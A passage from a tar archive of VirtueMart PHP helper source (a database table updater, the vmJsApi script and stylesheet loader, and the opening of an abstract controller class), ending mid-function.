		$q = substr(trim($q),0,-1);
		$comment = '';
		if(!empty($table[3])){
			$comment = " COMMENT='".$table[3]."'";
		}
		$q .= ") ENGINE=MyISAM  DEFAULT CHARSET=utf8".$comment." AUTO_INCREMENT=1 ;";

		$this->_db->setQuery($q);
		if(!$this->_db->query()){
			vmError('createTable ERROR :'.$this->_db->getErrorMsg() );
		} else {
			vmInfo('created table '.$tablename);
		}
// 		$this->_app->enqueueMessage($q);
	}

	public function dropTables($todelete){
		if(empty($todelete)) return;
		$q = 'DROP ';// .implode(',',$todelete);
		foreach($todelete as $tablename){
			$tablename = str_replace('#__',$this->_prefix,$tablename);
			$q .= $tablename.', ';
		}
		$q = substr($q,0,-1);

		// 		$this->_db->setQuery($q);
		// 		if(!$this->_db->query()){
		// 			$this->_app->enqueueMessage('dropTables ERROR :'.$this->_db->getErrorMsg() );
		// 		}
		$this->_app->enqueueMessage($q);
	}


	private function alterKey($tablename,$keys,$reCreatePrimary){

		if((microtime(true)-$this->starttime) >= ($this->maxScriptTime)){
			vmWarn('compareUpdateTable alterKey not finished, please rise execution time and update tables again');
			return false;
		}

		$demandFieldNames = array();
		foreach($keys as $i=>$line){
			$demandedFieldNames[] = $i;
		}
		// 		vmdebug('                $demandedFieldNames ' ,$demandedFieldNames);

		$query = "SHOW INDEXES  FROM `".$tablename."` ";	//SHOW {INDEX | INDEXES | KEYS}
		$this->_db->setQuery($query);
		if(!$eKeys = $this->_db->loadObjectList() ){
			$this->_app->enqueueMessage('alterKey show index:'.$this->_db->getErrorMsg() );
		} else {
			$eKeyNames= $this->_db->loadResultArray(2);
		}

// 				vmdebug('my $eKeys',$eKeys);

		$dropped = 0;
		$existing = array();
		foreach($eKeyNames as $i => $name){

			$query = '';

			//doubled keys are listed twice, but gets both deleted with one command, so we must check if the key is still there
			$this->_db->setQuery("SHOW INDEXES  FROM `".$tablename."` "); //SHOW {INDEX | INDEXES | KEYS}
			$eKeyNamesNOW= $this->_db->loadResultArray(2);

			$oldcolum = $this->reCreateKeyByTableAttributes($eKeys[$i]);


			if(!in_array($oldcolum,$keys)){
				if(!$reCreatePrimary){
					if(strpos($eKeys[$i]->Key_name,'PRIMARY')!==false){
						$isPrim = true;
					}
				}

				if(!in_array($name,$eKeyNamesNOW) or $isPrim){
					continue;
				} else {
					$query = 'ALTER TABLE `'.$tablename.'` DROP INDEX `'.$name.'` ';
				}

				if(!empty($query)){
					$this->_db->setQuery($query);
					if(!$this->_db->query()){
						$this->_app->enqueueMessage('alterTable DROP '.$tablename.'.'.$name.' :'.$this->_db->getErrorMsg() );
					} else {
						$dropped++;
						// 					vmdebug('alterKey: Dropped KEY `'.$name.'` in table `'.$tablename.'`');
					}
				}
			} else {

				$existing[] = $name;

			}

			$isPrim = false;

		}

		foreach($keys as $name =>$value){

			if(!$reCreatePrimary){
				if(strpos($value,'PRIMARY')!==false){
					continue;
				}
			}

			if(in_array($name,$existing)){
				continue;
			}
			$query = '';
			$action = '';


			$query = "ALTER TABLE `".$tablename."` ADD ".$value ;
			$action = 'ADD';

			if(!empty($query)){
				$this->_db->setQuery($query);
				if(!$this->_db->query()){
					$this->_app = JFactory::getApplication();
					$this->_app->enqueueMessage('alterKey '.$action.' INDEX '.$name.': '.$this->_db->getErrorMsg() );
				} else {
// 					vmdebug('alterKey: a:'.$action.' KEY `'.$name.'` in table `'.$tablename.'` '.$this->_db->getQuery());
				}
			}
		}

	}

	function reCreateKeyByTableAttributes($keyAttribs){

		$oldkey ='';

		if(!empty($keyAttribs->Key_name) && !empty($keyAttribs->Column_name) ){
			if(strpos($keyAttribs->Key_name,'PRIMARY')!==false){
				$oldkey = 'PRIMARY KEY (`'.$keyAttribs->Column_name.'`)';
			} else {
				$oldkey = 'KEY `'.$keyAttribs->Key_name.'` (`'.$keyAttribs->Column_name.'`)';
			}
		} else {
			vmdebug('reCreateKeyByTableAttributes $keyAttribs empty?',$keyAttribs);
		}

		// 		if(empty($keyAttribs->Cardinality)){
		// 			vmdebug('Cardinality : '.$keyAttribs->Cardinality.' '.$oldkey);
		// 		}

		return $oldkey;
	}

	/**
	 * @author Max Milbers
	 * @param unknown_type $tablename
	 * @param unknown_type $fields
	 * @param unknown_type $command
	 */
	public function alterColumns($tablename,$fields,$reCreatePrimary){


		$after ='FIRST';
		$dropped = 0;
		$altered = 0;
		$added = 0;
		$this->_app = JFactory::getApplication();

		$demandFieldNames = array();
		foreach($fields as $i=>$line){
			$demandFieldNames[] = $i;
		}

		$query = 'SHOW FULL COLUMNS  FROM `'.$tablename.'` ';	//$q = 'SHOW CREATE TABLE '.$this->_tbl;
		$this->_db->setQuery($query);
		$fullColumns = $this->_db->loadObjectList();
		$columns = $this->_db->loadResultArray(0);

		//Attention user_infos is not in here, because it an contain customised fields. #__virtuemart_order_userinfos #__virtuemart_userinfos
		//This is currently not working as intended, because the config is not deleted before, it is better to create an extra command for this, when we need it later
		$upDelCols = (int) VmConfig::get('updelcols',0);
		if($upDelCols==1 and !($tablename==$this->_prefix.'virtuemart_userfields' or $tablename==$this->_prefix.'virtuemart_userinfos' or $tablename==$this->_prefix.'virtuemart_order_userinfos')){

				foreach($columns as $fieldname){

					if(!in_array($fieldname, $demandFieldNames)){
						$query = 'ALTER TABLE `'.$tablename.'` DROP COLUMN `'.$fieldname.'` ';
						$action = 'DROP';
						$dropped++;

						$this->_db->setQuery($query);
						if(!$this->_db->query()){
							$this->_app->enqueueMessage('alterTable '.$action.' '.$tablename.'.'.$fieldname.' :'.$this->_db->getErrorMsg() );
						}
					}
				}
			}



// 		vmdebug('$$columns ',$columns);

		foreach($fields as $fieldname => $alterCommand){

			if((microtime(true)-$this->starttime) >= ($this->maxScriptTime)){
				vmWarn('alterColumns alterKey not finished, please rise execution time and update tables again');
				return false;
			}
			$query='';
			$action = '';

			if(empty($alterCommand)){
				vmdebug('empty alter command '.$fieldname);
				continue;
			}
			// we remove the auto_increment, to be free to set the primary key
			if(strpos($alterCommand,'AUTO_INCREMENT')!==false and $reCreatePrimary){
				$alterCommand = str_replace('AUTO_INCREMENT', '',$alterCommand);
			}

			if(in_array($fieldname,$columns)){

				$key=array_search($fieldname, $columns);
				$oldColumn = $this->reCreateColumnByTableAttributes($fullColumns[$key]);

				//Attention, we give for a primary the auto_increment back, so we cant decide if a key is used as primary,
				//but has no auto increment, so wie alter it anytime
				if(strpos($alterCommand,'AUTO_INCREMENT')!==false and $reCreatePrimary) {

					$query = 'ALTER TABLE `'.$tablename.'` CHANGE COLUMN `'.$fieldname.'` `'.$fieldname.'` '.$alterCommand;
					$action = 'CHANGE';
					$altered++;
// 					vmdebug('$fieldname just auto '.$fieldname,$alterCommand,$oldColumn);
				} else {

// 					while (strpos($oldColumn,'  ')){
// 						str_replace('  ', ' ', $oldColumn);
// 					}
					while (strpos($alterCommand,'  ')){
						$alterCommand = str_replace('  ', ' ', trim($alterCommand));
					}
// 					str_replace('  ', ' ', $alterCommand);
// 					$compare = strcasecmp( $oldColumn, $alterCommand);
// 					$compare = strcasecmp( $oldColumn, $alterCommand);

// 					if (!empty($compare)) {
					$oldColumn = strtoupper($oldColumn);
					$alterCommand = strtoupper(trim($alterCommand));

					if ($oldColumn != $alterCommand ) {

						$query = 'ALTER TABLE `'.$tablename.'` CHANGE COLUMN `'.$fieldname.'` `'.$fieldname.'` '.$alterCommand;
						$action = 'CHANGE';
						$altered++;
						vmdebug($tablename.' Alter field '.$fieldname.' oldcolumn ',$oldColumn,$alterCommand);
// 						vmdebug('Alter field new column ',$fullColumns[$key]);
// 						vmdebug('Alter field new column '.$this->reCreateColumnByTableAttributes($fullColumns[$key])); //,$fullColumns[$key]);
					}
				}
			}
			else {
				$query = 'ALTER TABLE `'.$tablename.'` ADD '.$fieldname.' '.$alterCommand.' '.$after;
				$action = 'ADD';
				$added++;
// 				vmdebug('$fieldname '.$fieldname);
			}
			if (!empty($query)) {
				$this->_db->setQuery($query);
				$err = $this->_db->getErrorMsg();
				if(!$this->_db->query() or !empty($err) ){
					vmError('alterTable '.$action.' '.$tablename.'.'.$fieldname.' : '.$err );
				} else {
					vmInfo('alterTable '.$action.' '.$tablename.'.'.$fieldname.' : '. $query);
				}

				$after = 'AFTER '.$fieldname;
			}
		}

		if($dropped != 0 or $altered !=0 or $added!=0){
			$this->_app->enqueueMessage('Table updated: Tablename '.$tablename.' dropped: '.$dropped.' altered: '.$altered.' added: '.$added);
			$err = $this->_db->getErrorMsg();
			if(!empty($err)){
				vmError('Tableupdater updating table '.$tablename.' throws error '.$err);
			}
		}

		return true;

	}


	private function reCreateColumnByTableAttributes($fullColumn){

		$oldColumn = $fullColumn->Type;

		if(!empty($fullColumn->Null)){
			$oldColumn .= $this->notnull($fullColumn->Null).$this->getdefault($fullColumn->Default);
		}
		$oldColumn .= $this->formatExtra($fullColumn->Extra).$this->formatComment($fullColumn->Comment);

		return $oldColumn;
	}

	private function reCreateColumnByTableAttributesol($fullColumn){


		$oldColumn = $fullColumn->Type;

		if($this->notnull($fullColumn->Null)){

			$oldColumn .= $this->notnull($fullColumn->Null).$this->getdefault($fullColumn->Default);
		}
		$oldColumn .= $this->primarykey($fullColumn->Key).$this->formatComment($fullColumn->Comment);

		return $oldColumn;
	}
	// 	$oldColumn=$fullColumns[$key]->Type.  .$this->primarykey($fullColumns[$key]->Key).$this->formatComment($fullColumns[$key]->Comment);

	private function formatComment($comment){
		if(!empty($comment)){
			return ' COMMENT \''.$comment.'\'';
		} else {
			return '';
		}

	}

	private function notnull($string){
		if ($string=='NO') {
			return  ' NOT NULL';
		} else {
			return '';
		}
	}

	private function formatExtra($extra){
		if (!empty($extra)) {
			return ' '.strtoupper(trim($extra));
		} else {
			return '';
		}
	}

	private function primarykey($string){

		if ($string=='PRI') {
			return  ' AUTO_INCREMENT';
		} else {
			return '';
		}
	}

	private function getdefault($string){
		if (isset($string)) {
			if(strpos($string,'CURRENT_TIMESTAMP')!==FALSE){
				return  " DEFAULT ".trim($string);
			} else {
				return  " DEFAULT '".trim($string)."'";
			}

		} else {
			return '';
		}
	}

	private function return_bytes($val) {
		$val = trim($val);
		$last = strtolower($val[strlen($val)-1]);
		switch($last) {
			// The 'G' modifier is available since PHP 5.1.0
			case 'g':
				$val *= 1024;
			case 'm':
				$val *= 1024;
			case 'k':
				$val *= 1024;
		}

		return $val;
	}

	private function _getMaxItems($name){

		$maxItems = 50;
		$freeRam =  ($this->maxMemoryLimit - memory_get_usage(true))/(1024 * 1024) ;
		$maxItems = (int)$freeRam * 100;
		if($maxItems<=0){
			$maxItems = 50;
			vmWarn('Your system is low on RAM! Limit set: '.$this->maxMemoryLimit.' used '.memory_get_usage(true)/(1024 * 1024).' MB and php.ini '.ini_get('memory_limit'));
		}
		vmdebug('Migrating '.$name.', free ram left '.$freeRam.' so limit chunk to '.$maxItems);
		return $maxItems;
	}

	function loadCountListContinue($q,$startLimit,$maxItems,$msg){

		$continue = true;
		$this->_db->setQuery($q);
		if(!$this->_db->query()){
			vmError($msg.' db error '. $this->_db->getErrorMsg());
			vmError($msg.' db error '. $this->_db->getQuery());
			$entries = array();
			$continue = false;
		} else {
			$entries = $this->_db->loadAssocList();
			$count = count($entries);
			vmInfo($msg. ' found '.$count.' vm1 entries for migration ');
			$startLimit += $maxItems;
			if($count<$maxItems){
				$continue = false;
			}
		}

		return array($entries,$startLimit,$continue);
	}
}


����������������������������������������������������������������������vmjsapi.php�����������������������������������������������������������������������������������������0000666�����������������00000035373�15137212725�0006752 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * virtuemart table class, with some additional behaviours.
 *
 *
 * @package    VirtueMart
 * @subpackage Helpers
 * @author Max Milbers
 * @copyright Copyright (c) 2014 VirtueMart Team. All rights reserved.
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
 * VirtueMart is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 * See /administrator/components/com_virtuemart/COPYRIGHT.php for copyright notices and details.
 *
 * http://virtuemart.net
 */

/**
 *
 * Class to provide js API of vm
 * @author Patrick Kohl
 * @author Max Milbers
 */
class vmJsApi{


	private function __construct() {

	}
	/**
	 * Write a <script></script> element
	 * @param   string   path to file
	 * @param   string   library name
	 * @param   string   library version
	 * @param   boolean  load minified version
	 * @return  nothing
	 */

	public static function js($namespace,$path=FALSE,$version='', $minified = NULL)
	{

		static $loaded = array();
		// Only load once
		// using of namespace assume same library have same namespace
		// NEVER WRITE FULL NAME AS $namespace IN CASE OF REVISION NUMBER IF YOU WANT PREVENT MULTI LOAD !!!
		// eg. $namespace = 'jquery.1.8.6' and 'jquery.1.6.2' does not prevent load it
		// use $namespace = 'jquery',$revision ='1.8.6' , $namespace = 'jquery',$revision ='1.6.2' ...
		// loading 2 time a JS file with this method simply return and do not load it the second time


		if (!empty($loaded[$namespace])) {
			return;
		}
		$file = vmJsApi::setPath($namespace,$path,$version, $minified , 'js');
		$document = JFactory::getDocument();
		$document->addScript( $file );
		$loaded[$namespace] = TRUE;
	}

	/**
	 * Write a <link ></link > element
	 * @param   string   path to file
	 * @param   string   library name
	 * @param   string   library version
	 * @param   boolean   library version
	 * @return  nothing
	 */

	public static function css($namespace,$path = FALSE ,$version='', $minified = NULL)
	{

		static $loaded = array();

		// Only load once
		// using of namespace assume same css have same namespace
		// loading 2 time css with this method simply return and do not load it the second time

		if (!empty($loaded[$namespace])) {
			return;
		}
		$file = vmJsApi::setPath( $namespace,$path,  $version='', $minified , 'css');

		$document = JFactory::getDocument();
		$document->addStyleSheet($file);
		$loaded[$namespace] = TRUE;

	}

	/*
	 * Set file path(look in template if relative path)
	 */
	public static function setPath( $namespace ,$path = FALSE ,$version='' ,$minified = NULL , $ext = 'js', $absolute_path=false)
	{

		$version = $version ? '.'.$version : '';
		$min	 = $minified ? '.min' : '';
		$file 	 = $namespace.$version.$min.'.'.$ext ;
		$template = JFactory::getApplication()->getTemplate() ;
		if ($path === FALSE) {
			$uri = JPATH_THEMES .'/'. $template.'/'.$ext ;
			$path= 'templates/'. $template .'/'.$ext ;
		}

		if (strpos($path, 'templates/'. $template ) !== FALSE){
			// Search in template or fallback
			if (!file_exists($uri.'/'. $file)) {
				$assets_path = VmConfig::get('assets_general_path','components/com_virtuemart/assets/') ;
				$path = str_replace('templates/'. $template.'/',$assets_path, $path);
			}
			if ($absolute_path) {
				$path = JPATH_BASE .'/'.$path;
			} else {
				$path = JURI::root(TRUE) .'/'.$path;
			}

		}
		elseif (strpos($path, '//') === FALSE)
		{
			if ($absolute_path) {
				$path = JPATH_BASE .'/'.$path;
			} else {
				$path = JURI::root(TRUE) .'/'.$path;
			}
		}

		return $path.'/'.$file ;
	}
	/**
	 * ADD some javascript if needed
	 * Prevent duplicate load of script
	 * @ Author KOHL Patrick
	 */
	static function jQuery($isSite=-1) {

		if(JVM_VERSION>2){
			JHtml::_('jquery.framework');
			return true;
		} else {
			//Very important convention with other 3rd pary developers, must be kept. DOES NOT WORK IN J3
			if (JFactory::getApplication ()->get ('jquery')) {
				return FALSE;
			}
		}

		if($isSite===-1)$isSite = JFactory::getApplication()->isSite();

		if (!VmConfig::get ('jquery', true) and $isSite) {
			vmdebug('Common jQuery is disabled');
			return FALSE;
		}

		if(VmConfig::get('google_jquery',true)){
			if(JVM_VERSION<3) vmJsApi::js('jquery','//ajax.googleapis.com/ajax/libs/jquery/1.8.1','',true);
			//$document->addScript('//ajax.googleapis.com/ajax/libs/jquery/1.6.4/jquery.min.js');
			if (!$isSite) {
				vmJsApi::js ('jquery-ui', '//ajax.googleapis.com/ajax/libs/jqueryui/1.8.23', '', true);
			}
			// if (!$isSite) $document->addScript('//ajax.googleapis.com/ajax/libs/jqueryui/1.8.16/jquery-ui.min.js');
		} else {
			if(JVM_VERSION<3) vmJsApi::js( 'jquery',FALSE,'',TRUE);
			//$document->addScript(JURI::root(true).'/components/com_virtuemart/assets/js/jquery.min.js');
			if (!$isSite) {
				vmJsApi::js ('jquery-ui', FALSE, '', TRUE);
			}
			//if (!$isSite) $document->addScript(JURI::root(true).'/components/com_virtuemart/assets/js/jquery-ui.min.js');
		}
		if (!$isSite) {
			vmJsApi::js ('jquery.ui.autocomplete.html');
		}
		if(JVM_VERSION<3){
			//Very important convention with other 3rd pary developers, must be kept DOES NOT WORK IN J3
			JFactory::getApplication()->set('jquery',TRUE);
		}
		vmJsApi::js( 'jquery.noconflict');
		return TRUE;
	}
	// Virtuemart product and price script
	static function jPrice()
	{

		if (!VmConfig::get ('jprice', TRUE) and JFactory::getApplication ()->isSite ()) {
			return FALSE;
		}
		static $jPrice;
		// If exist exit
		if ($jPrice) {
			return;
		}
		vmJsApi::jQuery();

		VmConfig::loadJLang('com_virtuemart',true);
		vmJsApi::jSite();

		$closeimage = JURI::root(TRUE) .'/components/com_virtuemart/assets/images/fancybox/fancy_close.png';

		$jsVars = "//<![CDATA[ \n";
		$jsVars .= "vmSiteurl = '". JURI::root( ) ."' ;\n" ;
		if (VmConfig::get ('vmlang_js', 1))  {
			//$jsVars .= "vmLang = '" . substr (VmConfig::$vmlang, 0, 2) . "' ;\n";
			$jsVars .= "vmLang = '&lang=" . substr (VmConfig::$vmlang, 0, 2) . "' ;\n";
		}
		else {
			$jsVars .= 'vmLang = "";' . "\n";		}

		if(VmConfig::get('addtocart_popup',1)){
			$jsVars .= "Virtuemart.addtocart_popup = '".VmConfig::get('addtocart_popup',1)."' ; \n";
			if(VmConfig::get('usefancy',1)){
				$jsVars .= "usefancy = true;";
				vmJsApi::js( 'fancybox/jquery.fancybox-1.3.4.pack');
				vmJsApi::css('jquery.fancybox-1.3.4');
			} else {//This is just there for the backward compatibility
				$jsVars .= "vmCartText = '". addslashes( vmText::_('COM_VIRTUEMART_CART_PRODUCT_ADDED') )."' ;\n" ;
				$jsVars .= "vmCartError = '". addslashes( vmText::_('COM_VIRTUEMART_MINICART_ERROR_JS') )."' ;\n" ;
				$jsVars .= "loadingImage = '".JURI::root(TRUE) ."/components/com_virtuemart/assets/images/facebox/loading.gif' ;\n" ;
				$jsVars .= "closeImage = '".$closeimage."' ; \n";
				//This is necessary though and should not be removed without rethinking the whole construction

				$jsVars .= "usefancy = false;";
				vmJsApi::js( 'facebox' );
				vmJsApi::css( 'facebox' );
			}
		}

		$jsVars .= '
//]]>
';
		$document = JFactory::getDocument();
		$document->addScriptDeclaration ($jsVars);
		vmJsApi::js( 'vmprices');

		$jPrice = TRUE;
		return TRUE;
	}

	// Virtuemart Site Js script
	static function jSite()
	{

		if (!VmConfig::get ('jsite', TRUE) and JFactory::getApplication ()->isSite ()) {
			return FALSE;
		}
		vmJsApi::js('vmsite');
	}

	static function JcountryStateList($stateIds, $prefix='') {
		static $JcountryStateList = array();
		// If exist exit
		if (isset($JcountryStateList[$prefix]) or !VmConfig::get ('jsite', TRUE)) {
			return;
		}
		$document = JFactory::getDocument();
		VmJsApi::jSite();
		$document->addScriptDeclaration('
//<![CDATA[
		jQuery( function($) {
			$("#'.$prefix.'virtuemart_country_id").vm2front("list",{dest : "#'.$prefix.'virtuemart_state_id",ids : "'.$stateIds.'",prefiks : "'.$prefix.'"});
		});
//]]>
		');
		$JcountryStateList[$prefix] = TRUE;
		return;
	}

	static function chosenDropDowns(){

		static $chosenDropDowns = false;

		if(!$chosenDropDowns){

			if(VmConfig::get ('jchosen', 0)){
				vmJsApi::js('chosen.jquery.min');
				vmJsApi::css('chosen');

				$document = JFactory::getDocument();
				$selectText = 'COM_VIRTUEMART_DRDOWN_AVA2ALL';
				$vm2string = "editImage: 'edit image',select_all_text: '".vmText::_('COM_VIRTUEMART_DRDOWN_SELALL')."',select_some_options_text: '".vmText::_($selectText)."'" ;
				$document->addScriptDeclaration ( '
//<![CDATA[
		var vm2string ={'.$vm2string.'} ;
		 jQuery( function($) {
			$(".vm-chzn-select").chosen({enable_select_all: true,select_all_text : vm2string.select_all_text,select_some_options_text:vm2string.select_some_options_text});
		});
//]]>
				');
			}
			$chosenDropDowns = true;
		}
		return;
	}

	static function JvalideForm($name='#adminForm')
	{
		static $jvalideForm;
		// If exist exit
		if ($jvalideForm === $name) {
			return;
		}
		$document = JFactory::getDocument();
		$document->addScriptDeclaration( "
//<![CDATA[
			jQuery(document).ready(function() {
				jQuery('".$name."').validationEngine();
			});
//]]>
"  );
		if ($jvalideForm) {
			return;
		}
		vmJsApi::js( 'jquery.validationEngine');

		$lg = JFactory::getLanguage();
		$lang = substr($lg->getTag(), 0, 2);
		/*$existingLang = array("cz", "da", "de", "en", "es", "fr", "it", "ja", "nl", "pl", "pt", "ro", "ru", "tr");
		if (!in_array ($lang, $existingLang)) {
			$lang = "en";
		}*/
		$vlePath = vmJsApi::setPath('languages/jquery.validationEngine-'.$lang, FALSE , '' ,$minified = NULL ,   'js', true);
		if(file_exists($vlePath) and !is_dir($vlePath)){
			vmJsApi::js( 'languages/jquery.validationEngine-'.$lang );
		} else {
			vmJsApi::js( 'languages/jquery.validationEngine-en' );
		}

		vmJsApi::css ( 'validationEngine.template' );
		vmJsApi::css ( 'validationEngine.jquery' );
		$jvalideForm = $name;
	}

	// Virtuemart product and price script
	static function jCreditCard()
	{

		static $jCreditCard;
		// If exist exit
		if ($jCreditCard) {
			return;
		}
		VmConfig::loadJLang('com_virtuemart',true);


		$js = "
//<![CDATA[
		var ccErrors = new Array ()
		ccErrors [0] =  '" . addslashes( vmText::_('COM_VIRTUEMART_CREDIT_CARD_UNKNOWN_TYPE') ). "';
		ccErrors [1] =  '" . addslashes( vmText::_("COM_VIRTUEMART_CREDIT_CARD_NO_NUMBER") ). "';
		ccErrors [2] =  '" . addslashes( vmText::_('COM_VIRTUEMART_CREDIT_CARD_INVALID_FORMAT')) . "';
		ccErrors [3] =  '" . addslashes( vmText::_('COM_VIRTUEMART_CREDIT_CARD_INVALID_NUMBER')) . "';
		ccErrors [4] =  '" . addslashes( vmText::_('COM_VIRTUEMART_CREDIT_CARD_WRONG_DIGIT')) . "';
		ccErrors [5] =  '" . addslashes( vmText::_('COM_VIRTUEMART_CREDIT_CARD_INVALID_EXPIRE_DATE')) . "';
//]]>
		";

		$doc = JFactory::getDocument();
		$doc->addScriptDeclaration($js);

		$jCreditCard = TRUE;
		return TRUE;
	}

	/**
	 * ADD some CSS if needed
	 * Prevent duplicate load of CSS stylesheet
	 * @ Author KOHL Patrick
	 */

	static function cssSite() {

		if (!VmConfig::get ('css', TRUE)) {
			return FALSE;
		}
		static $cssSite;
		if ($cssSite) {
			return;
		}
		// Get the Page direction for right to left support
		$document = JFactory::getDocument ();
		$direction = $document->getDirection ();
		$cssFile = 'vmsite-' . $direction ;

		// If exist exit
		vmJsApi::css ( $cssFile ) ;
		$cssSite = TRUE;
		return TRUE;
	}

	// $yearRange format >> 1980:2010
	// Virtuemart Datepicker script
	static function jDate($date='',$name="date",$id=NULL,$resetBt = TRUE, $yearRange='') {

		if ($yearRange) {
			$yearRange = 'yearRange: "' . $yearRange . '",';
		}
		if ($date == "0000-00-00 00:00:00") {
			$date = 0;
		}
		if (empty($id)) {
			$id = $name;
		}
		static $jDate;

		$dateFormat = vmText::_('COM_VIRTUEMART_DATE_FORMAT_INPUT_J16');//="m/d/y"
		$search  = array('m', 'd', 'Y');
		$replace = array('mm', 'dd', 'yy');
		$jsDateFormat = str_replace($search, $replace, $dateFormat);

		if ($date) {
			$formatedDate = JHtml::_('date', $date, $dateFormat );
		}
		else {
			$formatedDate = vmText::_('COM_VIRTUEMART_NEVER');
		}
		$display  = '<input class="datepicker-db" id="'.$id.'" type="hidden" name="'.$name.'" value="'.$date.'" />';
		$display .= '<input id="'.$id.'_text" class="datepicker" type="text" value="'.$formatedDate.'" />';
		if ($resetBt) {
			$display .= '<span class="vmicon vmicon-16-logout icon-nofloat js-date-reset"></span>';
		}

		// If exist exit
		if ($jDate) {
			return $display;
		}
		$front = 'components/com_virtuemart/assets/';

		$document = JFactory::getDocument();
		$document->addScriptDeclaration('
//<![CDATA[
			jQuery(document).ready( function($) {
			$(".datepicker").live( "focus", function() {
				$( this ).datepicker({
					changeMonth: true,
					changeYear: true,
					'.$yearRange.'
					dateFormat:"'.$jsDateFormat.'",
					altField: $(this).prev(),
					altFormat: "yy-mm-dd"
				});
			});
			$(".js-date-reset").click(function() {
				$(this).prev("input").val("'.vmText::_('COM_VIRTUEMART_NEVER').'").prev("input").val("0");
			});
		});
//]]>
		');
		vmJsApi::js ('jquery.ui.core',FALSE,'',TRUE);
		vmJsApi::js ('jquery.ui.datepicker',FALSE,'',TRUE);

		vmJsApi::css ('jquery.ui.all',$front.'css/ui' ) ;
		$lg = JFactory::getLanguage();
		$lang = $lg->getTag();

		$existingLang = array("af","ar","ar-DZ","az","bg","bs","ca","cs","da","de","el","en-AU","en-GB","en-NZ","eo","es","et","eu","fa","fi","fo","fr","fr-CH","gl","he","hr","hu","hy","id","is","it","ja","ko","kz","lt","lv","ml","ms","nl","no","pl","pt","pt-BR","rm","ro","ru","sk","sl","sq","sr","sr-SR","sv","ta","th","tj","tr","uk","vi","zh-CN","zh-HK","zh-TW");
		if (!in_array ($lang, $existingLang)) {
			$lang = substr ($lang, 0, 2);
		}
		elseif (!in_array ($lang, $existingLang)) {
			$lang = "en-GB";
		}
		vmJsApi::js ('jquery.ui.datepicker-'.$lang, $front.'js/i18n' ) ;
		$jDate = TRUE;
		return $display;
	}


	/*
	 * Convert formated date;
	 * @ $date the date to convert
	 * @ $format Joomla DATE_FORMAT Key endding eg. 'LC2' for DATE_FORMAT_LC2
	 * @ revert date format for database- TODO ?
	 */

	static function date($date , $format ='LC2', $joomla=FALSE ,$revert=FALSE ){

		if (!strcmp ($date, '0000-00-00 00:00:00')) {
			return vmText::_ ('COM_VIRTUEMART_NEVER');
		}
		If ($joomla) {
			$formatedDate = JHtml::_('date', $date, vmText::_('DATE_FORMAT_'.$format));
		} else {

			$J16 = "_J16";

			$formatedDate = JHtml::_('date', $date, vmText::_('COM_VIRTUEMART_DATE_FORMAT_'.$format.$J16));
		}
		return $formatedDate;
	}
}���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vmcontroller.php������������������������������������������������������������������������������������0000666�����������������00000023236�15137212725�0010022 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * abstract controller class containing get,store,delete,publish and pagination
 *
 *
 * This class provides the functions for the calculatoins
 *
 * @package	VirtueMart
 * @subpackage Helpers
 * @author Max Milbers
 * @copyright Copyright (c) 2011 VirtueMart Team. All rights reserved.
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
 * VirtueMart is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 * See /administrator/components/com_virtuemart/COPYRIGHT.php for copyright notices and details.
 *
 * http://virtuemart.net
 */
jimport('joomla.application.component.controller');
if (!class_exists('ShopFunctions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'shopfunctions.php');

class VmController extends JController{

	protected $_cidName = 0;
	protected $_cname = 0;

	/**
	 * Sets automatically the shortcut for the language and the redirect path
	 *
	 * @author Max Milbers
	 */
	public function __construct($cidName='cid', $config=array()) {
		parent::__construct($config);

		 $this->_cidName = $cidName;

		$this->registerTask( 'add',  'edit' );
		$this->registerTask('apply','save');

		//VirtuemartController
		$this->_cname = strtolower(substr(get_class( $this ), 20));
		$this->mainLangKey = JText::_('COM_VIRTUEMART_'.strtoupper($this->_cname));
		$this->redirectPath = 'index.php?option=com_virtuemart&view='.$this->_cname;
		$task = explode ('.',JRequest::getCmd( 'task'));
		if ($task[0] == 'toggle') {
			$val = (isset($task[2])) ? $task[2] : NULL;
			$this->toggle($task[1],$val);
		}

	}

	/**
	* Typical view method for MVC based architecture
	*
	* This function is provide as a default implementation, in most cases
	* you will need to override it in your own controllers.
	*
	* For the virtuemart core, we removed the "Get/Create the model"
	*
	* @param   boolean  $cachable   If true, the view output will be cached
	* @param   array    $urlparams  An array of safe url parameters and their variable types, for valid values see {@link JFilterInput::clean()}.
	*
	* @return  JController  A JController object to support chaining.
	* @since   11.1
	*/
	public function display($cachable = false, $urlparams = false)
	{
		$document	= JFactory::getDocument();
		$viewType	= $document->getType();
		if(JVM_VERSION==2){
			$viewName	= JRequest::getCmd('view', $this->default_view);
			$viewLayout	= JRequest::getCmd('layout', 'default');

			$view = $this->getView($viewName, $viewType, '', array('base_path' => $this->basePath));
		} else {
			$viewName	= JRequest::getCmd('view', '');
			$viewLayout	= JRequest::getCmd('layout', 'default');

			$view = $this->getView($viewName, $viewType, '', array('base_path' => $this->_basePath));
		}

		// Set the layout
		$view->setLayout($viewLayout);

		$view->assignRef('document', $document);

		$conf = JFactory::getConfig();

		// Display the view
		if ($cachable && $viewType != 'feed' && $conf->get('caching') >= 1) {
			$option	= JRequest::getCmd('option');
			$cache	= JFactory::getCache($option, 'view');

			if (is_array($urlparams)) {
				$app = JFactory::getApplication();

				$registeredurlparams = $app->get('registeredurlparams');

				if (empty($registeredurlparams)) {
					$registeredurlparams = new stdClass;
				}

				foreach ($urlparams as $key => $value)
				{
					// Add your safe url parameters with variable type as value {@see JFilterInput::clean()}.
					$registeredurlparams->$key = $value;
				}

				$app->set('registeredurlparams', $registeredurlparams);
			}

			$cache->get($view, 'display');

		}
		else {
			$view->display();
		}

		return $this;
	}


	/**
	 * Generic edit task
	 *
	 * @author Max Milbers
	 */
	function edit($layout='edit'){

